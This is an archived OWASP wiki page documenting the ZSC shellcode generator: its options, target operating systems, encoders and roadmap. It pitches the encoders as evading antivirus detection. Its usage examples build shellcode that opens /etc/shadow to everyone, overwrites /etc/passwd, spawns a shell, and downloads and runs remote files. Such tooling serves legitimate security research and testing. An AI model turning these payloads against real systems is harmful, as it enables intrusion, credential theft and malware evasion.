This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit

Difference between revisions of "OWASP ZSC Tool Project"

Jump to: navigation, search
(OWASP ZSC Tool Project)
Line 8: Line 8:
==OWASP ZSC Tool Project==
==OWASP ZSC Tool Project==
<div class="plainlinks">
'''Share this:'''&nbsp;
<span title="Share via e-mail" class="plainlinks">[[File:social-email.png|E-mail this story|link=mailto:?subject={{FULLPAGENAMEE}}&body={{FULLPAGENAMEE}}:%0A{{fullurle:{{FULLPAGENAME}}}}]]</span>
<span title="Share on Facebook">[[File:social-facebook.png|Bookmark with Facebook|link={{fullurle:{{FULLPAGENAME}}}}&t={{urlencode:{{FULLPAGENAME}}}}]]</span>
<span  title="Share on Digg">[[File:social-digg.png|Share on|link={{fullurle:{{FULLPAGENAME}}}}&title={{urlencode:{{FULLPAGENAME}} }}]]</span>
<span  title="Share on delicious">[[File:social-delicious.png|16px|Share on delicious|link={{fullurle:{{FULLPAGENAME}}}}&title={{urlencode:{{FULLPAGENAME}}}}]]</span>
<span  title="Share on reddit">[[File:social-reddit.png|Share on|link={{fullurle:{{FULLPAGENAME}}}}&title={{urlencode:{{FULLPAGENAME}}}}]]</span>
<span  title="Share on StumbleUpon">[[File:social-stumbleupon.png|16px|Share on|link={{fullurle:{{FULLPAGENAME}}}}&title={{urlencode:{{FULLPAGENAME}}}}]]</span>
<span  title="Share on LinkedIn">[[File:social-linkedin.png|16px|Share on|link={{fullurle:{{FULLPAGENAME}}}}&title={{urlencode:{{FULLPAGENAME}}}}]]</span>
<span title="Share on Twitter">[[File:social-twitter.png|alt=Share on|link={{fullurle:{{FULLPAGENAME}}}}|Share on]]</span>
<span title="Seed on Newsvine">[[File:social-newsvine.png|16px|Seed on Newsvine|link={{fullurle:{{FULLPAGENAME}}}}]]</span>
====What is OWASP ZSC ?====
====What is OWASP ZSC ?====

Revision as of 09:35, 6 August 2015

OWASP Project Header.jpg

OWASP ZSC Tool Project

What is OWASP ZSC ?

OWASP ZSC is an open source software in python language which lets you generate customized shellcodes for listed operation systems. This software could be run on Linux under python 2.7.x.




Usage of shellcodes

Shellcodesare small codes in assembly which could be use as the payload in software exploiting. Other usages are in malwares, bypassing antiviruses, obfuscated codes and etc.

Why use OWASP ZSC ?

According to other shellcode generators same as metasploit tools and etc, OWASP ZSC using new encodes and methods which antiviruses won't detect. OWASP ZSC encoderes are able to generate shellcodes with random encodes and that's lets you to get thousands new dynamic shellcodes with same job in just a second,that means you will not get a same code if you use random encodes with same commands, And that make OWASP ZSC one of the bests! otherwise it's gonna generate shellcodes for many operation systems in next versions.


GNU GENERAL PUBLIC LICENSE , Version 3, 29 June 2007

Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Click to see the full license

The OWASP Security Principles are free to use. In fact it is encouraged!!! Additionally, I also encourage you to contribute back to the project. I have no monopoly on this knowledge; however, we all have pieces of this knowledge from our experience. Let's begin by putting our individual pieces together to make something great. Great things happen when people work together.

The OWASP Security Principles are licensed under the Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.

Project Leader


Shellcode Generating

With using OWASP ZSC you would be able to generate any customized Shellcode in your mind including encodes,and Disassembly code in few seconds.

Be an OWASP ZSC developer

Last Tricks in Home

Quick Download

Github Page. Download Page.

The home of the OWASP Security Principles is on GitHub. You are encourged to fork, edit and push your changes back to the project through git or edit the project directly on github.

However, if you like you may also download the master repository from the following links:

News and Events



New projects.png Owasp-builders-small.png
Project Type Files DOC.jpg

To see full guides please visit our wiki page.

Help Menu

-h, --h, -help, --help => to see this help guide
-os => choose your os to create shellcode
-oslist   => list os for switch -os
-o => output filename
-job => what shellcode gonna do for you ?
-joblist => list of -job switch
-encode => generate shellcode with encode
-types => types of encode for -encode switch
-wizard => wizard mod

-update => check for update
-about => about software and developers.

With these switch you can see the oslist,encode types and functions [joblist] to generate your shellcode.

OS List "-oslist"

[+] linux_x86
[+] linux_x64
[+] linux_arm
[+] linux_mips
[+] freebsd_x86
[+] freebsd_x64
[+] windows_x86
[+] windows_x64
[+] osx
[+] solaris_x86
[+] solaris_x64

Encode Types "-types"

[+] none
[+] xor_random
[+] xor_yourvalue
[+] add_random
[+] add_yourvalue
[+] sub_random
[+] sub_yourvalue
[+] inc
[+] inc_timesyouwant
[+] dec
[+] dec_timesyouwant
[+] mix_all

Functions "-joblist"

[+] exec('/path/file')
[+] chmod('/path/file','permission number')
[+] write('/path/file','text to write')
[+] file_create('/path/file','text to write')
[+] dir_create('/path/folder')
[+] download('url','filename')
[+] download_execute('url','filename','command to execute')
[+] system('command to execute')
[+] script_executor('name of script','path and name of your script in your pc','execute command')

Now you are able to choose your operation system, function, and encode to generate your shellcode, But all of these features are not activated yet, so you have to look up this table HERE to see what features are activated.


For example, this part of table telling us all functions for linux_x86 is activated, But Encodes [xor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant] are just activated for chmod() function.


>zsc -os linux_x86 -encode inc -job "chmod('/etc/passwd','777')" -o file
>zsc -os linux_x86 -encode dec -job "chmod('/etc/passwd','777')" -o file
>zsc -os linux_x86 -encode inc_10 -job "chmod('/etc/passwd','777')" -o file
>zsc -os linux_x86 -encode dec_30 -job "chmod('/etc/passwd','777')" -o file
>zsc -os linux_x86 -encode xor_random -job "chmod('/etc/shadow','777')" -o file.txt
>zsc -os linux_x86 -encode xor_random -job "chmod('/etc/passwd','444')" -o file.txt
>zsc -os linux_x86 -encode xor_0x41414141 -job "chmod('/etc/shadow','777')" -o file.txt
>zsc -os linux_x86 -encode xor_0x45872f4d -job "chmod('/etc/passwd','444')" -o file.txt
>zsc -os linux_x86 -encode add_random -job "chmod('/etc/passwd','444')" -o file.txt
>zsc -os linux_x86 -encode add_0x41414141 -job "chmod('/etc/passwd','777')" -o file.txt
>zsc -os linux_x86 -encode sub_random -job "chmod('/etc/passwd','777')" -o file.txt
>zsc -os linux_x86 -encode sub_0x41414141 -job "chmod('/etc/passwd','444')" -o file.txt
>zsc -os linux_x86 -encode none -job "file_create('/root/Desktop/hello.txt','hello')" -o file.txt
>zsc -os linux_x86 -encode none -job "file_create('/root/Desktop/hello2.txt','hello[space]world[space]!')" -o file.txt
>zsc -os linux_x86 -encode none -job "dir_create('/root/Desktop/mydirectory')" -o file.txt
>zsc -os linux_x86 -encode none -job "download('','myfile.type')" -o file.txt
>zsc -os linux_x86 -encode none -job "download_execute('','myfile.type','./myfile.type')" -o file.txt
#multi command
>zsc -os linux_x86 -encode none -job "download_execute('','myfile.type','chmod[space]777[space]myfile.type;sh[space]myfile.type')" -o file.txt
>zsc -os linux_x86 -encode none -job "script_executor('script.type','D:\\myfile.type','./script.type')" -o file.txt
>zsc -os linux_x86 -encode none -job "script_executor('','/root/','sh[space]')" -o file.txt
>zsc -os linux_x86 -encode none -job "script_executor('','/root/Desktop/','chmod[space]+x[space];[space]python[space]')" -o file.txt
>zsc -os linux_x86 -encode none -job "system('ls')" -o file.txt
>zsc -os linux_x86 -encode none -job "system('ls[space]-la')" -o file.txt
>zsc -os linux_x86 -encode none -job "system('ls[space]-la[space]/etc/shadow;chmod[space]777[space]/etc/shadow;ls[space]-la[space]/etc/shadow;cat[space]/etc/shadow;wget[space]file[space];chmod[space]777[space]file;./file')" -o file.txt
>zsc -os linux_x86 -encode none -job "system('wget[space]file;sh[space]file')" -o file.txt
>zsc -os linux_x86 -encode none -job "chmod('/etc/shadow','777')" -o file.txt
>zsc -os linux_x86 -encode none -job "write('/etc/passwd','user:pass')" -o file.txt
>zsc -os linux_x86 -encode none -job "exec('/bin/bash')" -o file.txt

Note: Don’t use space ‘ ’ in system() function, replace it with “[space]” , software will detect and replace “ ” for you in shellcode.

Note: script_executor(),download_execute(),download(),dir_create(),file_create() are using linux command line , not the function. [wget,mkdir,echo] system() function added in script, you can use it to do anything and generate any command line shellcode.

Note: exec() doesn’t support any ARGV same as exec(‘/bin/bash -c ls’) or exec(‘/bin/bash’,‘-c’,‘ls’), you have to wait for next version and this feature will available in system()

Note: you also can use high value for inc and dec time, like inc_100000, your shellcode may get too big

Note: each time you execute chmod()[or any other] function with random encode, you are gonna get random outputs and different shellcode.

Note: your xor value could be anything. “xor_0x41414141” and “xor_0x45872f4d” are examples.

Wizard Switch

With -wizard switch you are able to generate shellcode without long ARGVs, software will ask you for information.


Note: While you are using -wizard switch, if you push “Enter” without typing anything, the default value will be set on the varible.

Note: With entering “list”, List of values will be shown.

Installation Go to download page, and download last version in github. Extract and run, then you are able to run software with OWASP ZSC command or you can directly execute without installing it.or you can follow these commands to install the last version:

wget -O && unzip && 
rm -rf && mv OWASP-ZSC-master owasp-zsc && cd owasp-zsc && python


Note: Software could be uninstall with executing

Note: Software installation directory is "/usr/share/owasp-zsc"

Note: OWASP ZSC Tool could be execute on Linux and Python 2.7.x is required.


As of August, 2015, the highest priorities for the next one year are:

  • Develop future features list , Add Operation Systems and new encode types
  • Planing for activate features
  • Build ZSC API
  • Find developers to get better performance, quality, optimizing and best improvement in minimum possible time
  • Get other people to review the ZSC Tool Project provide feedback
  • Incorporate feedback into changes in the Tool Project and the features
  • Keep test, developing and updating with best new methods
  • Build and update documents in several languages for developers/users guiding

Subsequent Releases will add

  • Internationalization Support
  • Additional Unit Tests
  • Automated Regression tests

OWASP ZSC could be improving with handling module features. MVP of this project is build and active the first module which could be usable to generate/encode Shellcode which already some of them [modules] activated.

Highest usage of OWASP ZSC Tool could be when users are able to use all features with best User Interface and API performance.

Be an OWASP ZSC developer

To join us for developing ZCR Shellcoder, Make your OWASP Account at first and you may need to know Assembly, Shellcoding, Python. Then check up this Table and build a shellcode generator with python which we didn’t made it yet, then send it to us and after checking and testing your code, You will became a OWASP ZSC developer and your code will add to software in next versions.

Also please visit Developer Pages.


This page is where you need to place your legacy project template page if your project was created before October 2013. To edit this page you will need to edit your project information template. You can typically find this page by following this address and substituting your project name where it says "OWASP_Example_Project". When in doubt, ask the OWASP Projects Manager. Example template page:

What does this OWASP project offer you?
What releases are available for this project?
what is this project?
Name: N/A
Purpose: N/A
License: N/A
who is working on this project?
Project Leader(s): N/A
how can you learn more?
Project Pamphlet: Not Yet Created
Project Presentation:
Mailing list: N/A
Project Roadmap: Not Yet Created
Key Contacts
  • Contact the GPC to contribute to this project
  • Contact the GPC to review or sponsor this project
current release
last reviewed release

other releases